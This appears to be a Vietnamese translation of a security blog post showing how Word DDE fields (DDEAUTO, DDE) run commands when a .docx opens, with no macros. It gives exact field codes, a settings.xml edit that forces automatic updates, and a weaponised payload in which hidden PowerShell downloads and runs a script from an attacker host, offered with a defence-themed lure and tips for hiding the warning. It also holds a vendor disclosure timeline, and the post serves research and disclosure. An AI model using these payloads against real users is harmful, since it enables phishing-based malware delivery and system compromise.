MACRO-LESS CODE EXEC trong Microsoft Word

Điều gì sẽ xảy ra nếu chúng ta nói với bạn rằng có một cách để thực hiện lệnh trên MSWord mà không có bất kỳ macro, hoặc xung đột bộ nhớ nào?

Windows cung cấp một số phương pháp để truyền dữ liệu giữa các ứng dụng. Một phương pháp là sử dụng giao thức trao đổi dữ liệu động (DDE – Dynamic Data Exchange). Giao thức DDE là một tập hợp các thông điệp và hướng dẫn. Nó gửi các thông báo giữa các ứng dụng chia sẻ dữ liệu và sử dụng bộ nhớ chia sẻ để trao đổi dữ liệu giữa các ứng dụng. Các ứng dụng có thể sử dụng giao thức DDE để chuyển dữ liệu một lần và để trao đổi liên tục trong đó các ứng dụng gửi các bản cập nhật cho nhau khi dữ liệu mới trở nên khả dụng.

Trong ngữ cảnh DDE hoạt động bằng cách thực hiện một ứng dụng, nó sẽ cung cấp dữ liệu (nhà cung cấp dữ liệu). Trong bài đăng viết đó[1] Chúng tôi đã thảo luận về sử dụng DDE trong MSExcel để thực hiện lệnh và đã có thành công lớn trong việc sử dụng kỹ thuật này để vượt qua các macro gateway mail lọc và các chính sách của VBA. DDE không chỉ giới hạn trong Excel và Word đã có tất cả các tính năng DDE thời gian này. Điều này đã được đề cập bởi bài viết khác[2]như là một con đường có thể, nhưng theo hiểu biết của chúng tôi, không ai thực sự chứng minh điều này để làm việc.

 

DDE VÀ OFFICE

Trong khi Etienne và bản thân tôi đang tìm kiếm một số đối tượng COM thú vị, đặc biệt liên quan đến MS Office, chúng tôi nhận thấy rằng các phương thức COM DDEInitialize, và DDEExecute đã bị MSExcel và MSWord phơi bày. Vì DDE đã cho chúng ta thực hiện lệnh trên MSExcel, chúng tôi quyết định bắt tay vào khám phá cách chúng ta có thể sử dụng DDE trong MSWord và để xem liệu có thực hiện lệnh từ đó hay không.

Sau khi nghiên cứu không ngừng, chúng tôi thấy rằng DDE trong MSWord được sử dụng, trong các trường, để thêm một trường vào MSWord bạn cần phải làm như sau:

Insert tab -> Quick Parts -> Field
Macro-less Code Exec trong MSWord
Sau đó, bạn sẽ thấy một Trường được chèn vào tài liệu có lỗi “!Unexpected End of Formula”, nhấp chuột phải vào trường và chọn Toggle Field Codes.
Choose = (Formula) và click ok.
Macro-less Code Exec trong MSWordSau đó, bạn sẽ thấy một Trường được chèn vào tài liệu có lỗi “!Unexpected End of Formula”, nhấp chuột phải vào trường và chọn Toggle Field Codes.
Macro-less Code Exec trong MSWord

Field Code sẽ được hiển thị, thay đổi nó thành Contain bao gồm những điều sau:

{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"  }

Từ khóa DDEAUTO là để thông báo cho MSWord rằng đây là một trường DDE, và sẽ tự động thực hiện khi tài liệu được mở ra, phần thứ hai là đường dẫn đầy đủ của thực thi để thực hiện, và phần cuối cùng giữa dấu ngoặc kép là các đối số để vượt qua thực thi này(thực thi calc.exe).

CTRL+F9 Để tạo ra một Field Identifier trống, và chèn công thức DDE trực tiếp.

Bây giờ lưu tài liệu như là một tài liệu từ thông thường “.docx”, và mở nó trên bất kỳ máy nào.

Macro-less Code Exec trong MSWord

Cảnh báo đầu tiên là để cập nhật các liên kết tài liệu, không có gì độc hại ở đó.

Macro-less Code Exec trong MSWord

Dấu nhắc thứ hai yêu cầu người dùng xem liệu họ có muốn thực hiện ứng dụng đã được chỉ định hay không, bây giờ nó có thể được coi là cảnh báo an ninh vì nó yêu cầu người dùng thực thi “cmd.exe”, tuy nhiên với việc sửa đổi cú pháp thích hợp nó có thể được ẩn.
Macro-less Code Exec trong MSWordKhi nạn nhân clicks “yes” ….
Macro-less Code Exec trong MSWordVà điều tốt nhất, không có Macro, không có cảnh báo bảo mật, và …
Macro-less Code Exec trong MSWord

SHELLS

Là một PoC, chúng tôi đã biên soạn một video trình diễn với tài liệu mồi liên quan đến lĩnh vực Quốc phòng, cùng một tệp được quét ở trên, sử dụng payload sau:

{ DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://evilserver.ninja/pp.ps1');powershell -e $e "}

CHÚ Ý CUỐI CÙNG

Cũng lúc đó có thể đạt được bằng cách sử dụng định danh trường “DDE”:

{DDE "c:\\windows\\system32\\cmd.exe" "/c notepad" }

nhưng sau đó bạn sẽ cần phải sửa đổi .docx để kích hoạt cập nhật liên kết tự động. Để làm điều này, mở tệp .docx trong trình quản lý lưu trữ và mở word/settings.xml. Bây giờ chèn thẻ XML sau đây vào phần tử docPr:

<w:updateFields w:val="true"/>

Lưu tập tin cài đặt, cập nhật kho lưu trữ. Và Word bây giờ sẽ nhắc đến tự động cập nhật các liên kết, với một chút khác nhau từ trước, nhưng với kết quả chính xác giống như DDEAUTO.

Một thông điệp hơi khác với Word.

TIMELINE:

  • 23/08/2017 – Đã báo cáo với Microsoft để xem họ có quan tâm đến bản sửa lỗi không.
  • 23/08/2017 – Microsoft trả lời rằng họ đã sao chép lại thành công vấn đề và yêu cầu thêm chi tiết.
  • 26/09/2017 – Microsoft trả lời rằng theo gợi ý rằng nó là một tính năng và không có hành động nào khác sẽ được thực hiện, và sẽ được xem xét như là một lỗi ứng cử viên cho phiên bản tiếp theo.
  • 09/10/2017 – Công bố bài viết trên blog
 

 

Add Comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.